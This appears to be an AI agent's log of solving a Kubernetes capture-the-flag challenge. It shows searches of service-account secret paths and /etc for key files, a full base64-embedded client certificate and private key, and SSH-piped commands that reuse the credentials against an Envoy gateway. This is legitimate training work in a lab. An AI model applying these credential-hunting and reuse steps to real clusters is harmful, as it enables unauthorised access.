To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== JUMPPOD SPEC ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | head -100
echo "=== JUMPPOD VOLUMES ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | grep -A 30 volumes
echo "=== JUMPPOD VOLUME MOUNTS ==="
mount 2>&1
echo "=== HIDDEN FILES ==="
ls -la /run/secrets/ 2>&1
find /run/ -type f 2>&1 | head -20
find /etc/ -name "*linkerd*" -o -name "*client*" -o -name "*key*" 2>/dev/null | grep -v ssl | grep -v dpkg | head -10
exit
echo "=== JUMPPOD SPEC ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | head -100
echo "=== JUMPPOD VOLUMES ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | grep -A 30 volumes
echo "=== JUMPPOD VOLUME MOUNTS ==="
mount 2>&1
echo "=== HIDDEN FILES ==="
ls -la /run/secrets/ 2>&1
find /run/ -type f 2>&1 | head -20
find /etc/ -name "*linkerd*" -o -name "*client*" -o -name "*key*" 2>/dev/null | grep -v ssl | grep -v dpkg | head -10
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== JUMPPOD SPEC ==="
[?2004l=== JUMPPOD SPEC ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pod jumppod-cd5dfbd7-m4b2w -n default  -o yaml 2>&1 | head -100
[?2004lError from server (Forbidden): pods "jumppod-cd5dfbd7-m4b2w" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "pods" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== JUMPPOD VOLUMES ==="
[?2004l=== JUMPPOD VOLUMES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pod jumppod-cd5dfbd7-m4b2w -n default  -o yaml 2>&1 | grep -A 30 volumes
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== JUMPPOD VOLUME MOUNTS ==="
[?2004l=== JUMPPOD VOLUME MOUNTS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# mount 2>&1
[?2004loverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/117/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/116/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/115/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/114/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/118/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/118/work,uuid=on,nouserxattr)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime)
/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /dev/termination-log type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro)
shm on /dev/shm type tmpfs (rw,relatime,size=65536k,inode64)
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=3903572k,inode64,noswap)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime,inode64)
tmpfs on /proc/interrupts type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/latency_stats type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/scsi type tmpfs (ro,relatime,inode64)
tmpfs on /sys/firmware type tmpfs (ro,relatime,inode64)
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== HIDDEN FILES ==="
[?2004l=== HIDDEN FILES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# ls -la /run/secrets/ 2>&1
[?2004ltotal 12
drwxr-xr-x 3 root root 4096 Mar 25 10:51 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
drwxr-xr-x 3 root root 4096 Mar 25 10:51 kubernetes.io
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# find /run/ -type f 2>&1 | head -20
[?2004l/run/systemd/container
/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_51_23.1223040441/namespace
/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_51_23.1223040441/ca.crt
/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_51_23.1223040441/token
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# find /etc/ -name "*linkerd*" -o -name "*client*" --o -name "*key*" 2>/dev/null | grep -v ssl | grep -v dpkg | head -10
[?2004l/etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg
/etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg
/etc/apt/keyrings
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking

Let me check if the SSH key matches the client certificate.

$ Bash
Compare SSH key modulus with client cert modulus
# Check if the SSH RSA key matches the client cert
# Extract modulus from cert
openssl x509 -in /tmp/client.crt -noout -modulus 2>&1 | head -1
echo "==="
# Extract modulus from SSH key converted to PEM
ssh-keygen -f /tmp/challenge-2/simulator_rsa -e -m pem > /tmp/ssh_pub.pem 2>&1
# Check the private key directly
openssl rsa -in /tmp/challenge-2/simulator_rsa -noout -modulus 2>&1 | head -1
Modulus=AEFBFB7546509A4A40A056FAF4E1EBAA2DF297E848F1D4256F5D0AE2B6F5E0761FDFF1F4CD0189E1A673F7AB8041351458C5810A5F8009FA27152CD1685B40E1CF3409B2328871885C751D726C8160F2C46B549C04761E6599D44344EE98FE6998DA0385CF57240B29E8125D24C372B7A37147C15FE0A399531AD6B234CE24D54479E4867AF2E5DD351345499B079234A323F469D904AB56BC026428C41EFEAB573996BF5A21474D7AE4C2EAA9F4EFB42E59277F3DD12792D20855BACA1F930F798CBA62E2B97151BC5F88D165602E783FA21623CC3F46CFFB887615A222DB5D363DB02B83C4DBC0A89520A65C07B9ABFEE269BD73FCE6B83EBE9024FFF8DF2B
===
Modulus=9A4C9E22BBB48B7DDCEECEBF071146967A955440789E7F8C61A029E92472EACEAE4F2E497AA1602C8A98E5E74DA0B817B81BCE1D0B1EB1EE086427FF4BB7351965EE9786771473DDBE846DFAA581E955F8B8AE3B8348CBF672A42661C22213425223EFDD7C6C9D77778F1722E56E2E02638EE5984A61885ECFC743F85C6FCB08AF4B3D5540D1B812483F93EE5CEBF21BFC3E85AD0A483AB5D66FB686980E45684D1AD6113C1C8EBA431749A8FCE4369D9D6F979C0E3474AD7FD5B18C2FCB89DCF5E6E5D48B49825D91EAE347011AF1F12A3984C88B79F92D8214396C9876860964D7EF19AAB3D4DDBE7DF370BCBCEE69B5417B8D3DB210B0AA77FC81E3BFC6F1896E0BA413C853E4A732AA3D56168F4A9DA0C4B5D17D2C6DE808FC54A65AB78F1036AB82376B4E58E64C01B7C07B6E2CC0A482DE901C2241075027427698567F4B3B803CB2FC6459342086083CCA9331978EA514A1889E5120D857052E510CD1B9D9A71BE0BAB1A1EFDD4D66F0B5F507597ACCCCD2745E3D9823693AE39B193ECD710BCE3EF6FC2862E0CB163B1F66D8189F1172F654EFE09E5F4EA55FEF96B0B123693B03BB266F99A1D0B90FAC2734BFB2BE4103BBDE928B574AB467723E134ED47BBC11D6AF75A17DDAC45EEF0C768E269C4B8275CE7DADA6FE1FC75D09A229D5E9BD893742797ED50283B4C2C876B6DA2C23A589D61A3489D835E825BA39
Thinking
$ Bash
Check if cert and key modulus match despite validation errors
# Check if cert and key modulus match despite "broken" key
openssl x509 -in /tmp/client.crt -noout -modulus | md5sum
openssl rsa -in /tmp/client.key -noout -modulus 2>&1 | md5sum
echo "=== TRY USING BROKEN KEY ANYWAY ==="
openssl s_client -connect 127.0.0.1:1 -cert /tmp/client.crt -key /tmp/client.key < /dev/null 2>&1 | head -5
cde4b02ba631bc2bd517ad62361aa702  -
cde4b02ba631bc2bd517ad62361aa702  -
=== TRY USING BROKEN KEY ANYWAY ===
4047699F7A7F0000:error:8000006F:system library:BIO_connect:Connection refused:../crypto/bio/bio_sock2.c:114:calling connect()
4047699F7A7F0000:error:10000067:BIO routines:BIO_connect:connect error:../crypto/bio/bio_sock2.c:116:
connect:errno=111
Thinking

The cert and key modulus MATCH! The key IS valid for this cert despite the rsa -check warnings. The issue was TTY corruption when writing the files inside the pod. Let me use a more reliable transfer method.

$ Bash
Create python script to write cert/key files reliably
# Create a single script that writes the files using python to avoid TTY issues
cat > /tmp/write_certs.py << 'PYEOF'
import base64
cert_b64 = "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=="
key_b64 = "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K"
with open("/tmp/c.crt", "wb") as f:
    f.write(base64.b64decode(cert_b64))
with open("/tmp/c.key", "wb") as f:
    f.write(base64.b64decode(key_b64))
print("Files written successfully")
import hashlib
cert_data = base64.b64decode(cert_b64)
key_data = base64.b64decode(key_b64)
print(f"cert md5: {hashlib.md5(cert_data).hexdigest()}")
print(f"key md5: {hashlib.md5(key_data).hexdigest()}")
PYEOF

# Get md5s locally for comparison
md5sum /tmp/client.crt /tmp/client.key
fb356d37bd0c93172148580db0857ba9  /tmp/client.crt
0a94de1f463a0995741af86a38976ef5  /tmp/client.key
$ Bash
Transfer and run python script to write cert/key, then curl gateway
# Transfer the python script and run it inside the pod to write cert/key cleanly
SCRIPT_B64=$(base64 -w0 /tmp/write_certs.py)
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << SSHEOF 2>&1 | sed 's/\r//g'
echo '$SCRIPT_B64' | base64 -d | python3
md5sum /tmp/c.crt /tmp/c.key
export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')
curl -sk --cert /tmp/c.crt --key /tmp/c.key https://\$GWIP
exit
SSHEOF
Command running in background with ID: brnd0yikc. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/brnd0yikc.output
$ Bash
Check background task output
cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/brnd0yikc.output 2>/dev/null || echo "waiting..."
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo 'aW1wb3J0IGJhc2U2NApjZXJ0X2I2NCA9ICJMUzB0TFMxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VSSFJFTkRRV2REWjBGM1NVSkJaMGxWUjA5SlRFcE9XU3R0ZG1oQ1FUaE1ZbUpQTTJ3NGVXUXJZbWx2ZDBSUldVcExiMXBKYUhaalRrRlJSVXdLUWxGQmQweEVSVlZOUWtsSFFURlZSVU5uZDB4VVIyeDFZVEpXZVZwRE1VUldSVmw0UmtSQlUwSm5UbFpDUVUxTlF6QjRjR0p0ZEd4amJWRjBVVEZTUndwTlFqUllSRlJKTWsxRVNYaFBSRUUwVGxSbmVrNVdiMWhFVkUweVRVUkplRTVxUVRST1ZHZDZUbFp2ZDBoRVJXRk5RbWRIUVRGVlJVRjNkMUpVUjJ4MUNtRXlWbmxhUlU1ellWZFdkV1JHVm5wYVdFbDNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkblowVkxRVzlKUWtGUlEzVUtLeTkwTVZKc1EyRlRhME5uVm5aeU1EUmxkWEZNWmt0WU5rVnFlREZEVm5aWVVYSnBkSFpZWjJSb0wyWTRabFJPUVZsdWFIQnVVRE54TkVKQ1RsSlNXUXA0V1VWTFdEUkJTaXRwWTFaTVRrWnZWekJFYUhwNlVVcHpha3RKWTFsb1kyUlNNWGxpU1Vabk9ITlNjbFpLZDBWa2FEVnNiV1JTUkZKUE5sa3ZiVzFaQ2pKblQwWjZNV05yUTNsdWIwVnNNR3QzTTBzemJ6TkdTSGRXTDJkdk5XeFVSM1JoZVU1Tk5Hc3hWVkkxTlVsYU5qaDFXR1JPVWs1R1UxcHpTR3RxVTJvS1NTOVNjREpSVTNKV2NuZERXa05xUlVoMk5uSldlbTFYZGpGdmFGSXdNVFkxVFV4eGNXWlVkblJETlZwS016ZzVNRk5sVXpCbmFGWjFjMjltYTNjNU5RcHFUSEJwTkhKc2VGVmllR1pwVGtac1dVTTFORkEyU1ZkSk9IY3ZVbk12TjJsSVdWWnZhVXhpV0ZSWk9YTkRkVVI0VG5aQmNVcFZaM0JzZDBoMVlYWXJDalJ0YlRsakwzcHRkVVEySzJ0RFZDOHJUamh5UVdkTlFrRkJSMnBSYWtKQlRVSXdSMEV4VldSRVoxRlhRa0pVTjJ4TGNtVnFaSGgzUTNVeGNIcENhWE1LWVROTlZFaG9lR0Z0VkVGbVFtZE9Wa2hUVFVWSFJFRlhaMEpTWTFka2EwSTBUVVpTTUZwNmFGSkZXalJvTTBzNVdVa3ZOMWg2UVU1Q1oydHhhR3RwUndvNWR6QkNRVkZ6UmtGQlQwTkJVVVZCVUd3eGFEbFlVRmc1V214MVZuWnZkRGhMYm5ZMlEwYzFkbEJYVUZob1NuQTRlSFZ6U2tSVFFtNVdkM0EzVVdrekNqZEhjeTlTYmk5dVNVNVRNbGMyV1RkUU55ODVZak12UTJsMU5FRTJjakV2Y3poUE9HSldZakJNZEZWNlRXTm9TR2hzUWxwc1YyZ3JPRXRVY1M5YWVHSUtVMjloVW05cFlVMWhjVWxSWW1WWVVXeHRabEVyVHk5d1EyeHBNVmxuWTJwbE5VOWtjSFptSzBKVFNHbzVjM2RhVjNaTk9WRm5hbFZVVkVFeFRtSnRWd28xVVdoRGRrZE9VVzFKTlhad2JWRndiMWh6UjA1RU1XNXpTVXRzY1dGNWVsWnlNbHAzTDFCcFRuQTRjblF3YlRGakwwdGpSalpzY1ZaVmVXMVlPRVpKQ2pCS01sZEtRMDloTjNCT1pHTnpiekl4WnpjdlpIVmtXV0oyTUhsU1dXdG5VREZRVWtOT1UxaHVORTFzVTB0NWFHOUhNRloxZEVOUGNEaEVlVzg1UlZJS1EwNUdVbUpYU1Uwd1pGSjVNVU0yV0N0Q1VuQnFiek5OZFZGS1UyeFJaVnBuWTFKT1puYzlQUW90TFMwdExVVk9SQ0JEUlZKVVNVWkpRMEZVUlMwdExTMHRDZz09IgprZXlfYjY0ID0gIkxTMHRMUzFDUlVkSlRpQlFVa2xXUVZSRklFdEZXUzB0TFMwdENrMUpTVVYyWjBsQ1FVUkJUa0puYTNGb2EybEhPWGN3UWtGUlJVWkJRVk5EUWt0bmQyZG5VMnRCWjBWQlFXOUpRa0ZSUTNVckwzUXhVbXhEWVZOclEyY0tWblp5TURSbGRYRk1aa3RZTmtWcWVERkRWblpZVVhKcGRIWllaMlJvTDJZNFpsUk9RVmx1YUhCdVVETnhORUpDVGxKU1dYaFpSVXRZTkVGS0sybGpWZ3BNVGtadlZ6QkVhSHA2VVVwemFrdEpZMWxvWTJSU01YbGlTVVpuT0hOU2NsWktkMFZrYURWc2JXUlNSRkpQTmxrdmJXMVpNbWRQUm5veFkydERlVzV2Q2tWc01HdDNNMHN6YnpOR1NIZFdMMmR2Tld4VVIzUmhlVTVOTkdzeFZWSTFOVWxhTmpoMVdHUk9VazVHVTFwelNHdHFVMnBKTDFKd01sRlRjbFp5ZDBNS1drTnFSVWgyTm5KV2VtMVhkakZ2YUZJd01UWTFUVXh4Y1daVWRuUkROVnBLTXpnNU1GTmxVekJuYUZaMWMyOW1hM2M1TldwTWNHazBjbXg0VldKNFpncHBUa1pzV1VNMU5GQTJTVmRKT0hjdlVuTXZOMmxJV1ZadmFVeGlXRlJaT1hORGRVUjRUblpCY1VwVlozQnNkMGgxWVhZck5HMXRPV012ZW0xMVJEWXJDbXREVkM4clRqaHlRV2ROUWtGQlJVTm5aMFZCUTJwSk56TjBRbGRtUnpFNGVqRnpRMHBXZFdOMlpHWmlhMUJSVVdaQ1EwVTVaV1psWWxaQ1VtbHhkamtLTUVWd2NrSkNPRmt4U1VkcE5UTnFWbTh2WTFJeFRtcExTMGxuZEhGWFkzSllkMnB0ZFZWWFZYaGxRak13UkVSVVRuQlhPVnA1T1c1RGNXNVlTV0p1WkFwU01YWkxXVVp1UjJOMGVGb3hiVzFvWkZwTmRHbDZka1owTDI1NU9WbDJieTlCVWpWSWNFWktlRTFYV25WM1dHSnNUVkJPVWxZM1VubFlSbHBrYjJ3NENtWmlkSGxoUmtzd2RXWTNUMGtyY2xoa1RrNWhlblFyU0hSUVptWnNjSFJhVWtoNGR5OVhVMmw2T0hsbGRWQjVRVE52WVdFdmJIQlhiMjF1WTBNMlZUUUtaWHBKYnpaaWFVeEVXRmd5S3pnd2JsYzJiRkk0Vm5aUWEwZGFMMUIxWTJsTWEzYzNlbmhKYkRORFpVMXRWR3hDUjI5aGVtbFNhR000WWtSWUszQmlPQXBXUjBKWGQzWTNWREpGTWs0elNFazFRbXhDVGxOT1lXZHljMFp1ZUVGMGRGcHlhVVJOZVV0UlZWRkxRbWRSUkdscFVXOVNNWEpJYkhkUE1tRnJSRzVvQ2lzMU9WcEZUVnBsUkc5TVNrMVNOSGtyYVVveWNHWTFWM1ozUjFsRWFWRnJOWFJNYzNGa1ZXWk9NMkV3U1M5Wk5GUlRZVXRuVEZrcmJDczJaQ3RLV0hNS0x6ZHBORTlZYmt0RlNHdFplRTlTWWsxaGNVMWpOR0paYWxWVFUyOW1PRzlEVGxwR2MxQnphRmgxVmtSUlRGSnlMMGhvVjA5bkszWmxRMjFXZWt4UFN3b3laMWhqY2tkTVVtZGhVRW8wWVdJMVVVZzJXbkJYU2pCV1VVdENaMUZFUm5adVNXcEdha2xHV210eVdGVktUVlJyV2tSTVVqWnVOR0ZXZVRnMFZIWllDbWcyZHpsTFlubFNNbXBGTVZoT1prdDNha3d3Y1ZrelpUSXdSazB3VEV4R1YyRjBNbTk0Y2tGUU5IWldOM1V3YkZGVlYzVkNLMDFMUjI0dk1rVkxTMlFLVm1aMGJ6VlhMMGwyY21wM1VHdEdhMUpxYUVGbmMwMTVPREZQVWxFd1NscHJXV3d5Um1wTFNHSnNhRmx5UzNjMEwzWlRlbTFhUVhsM1UyZHlaekJ6U3dwaFQxRkZjaXN5Um1aM1M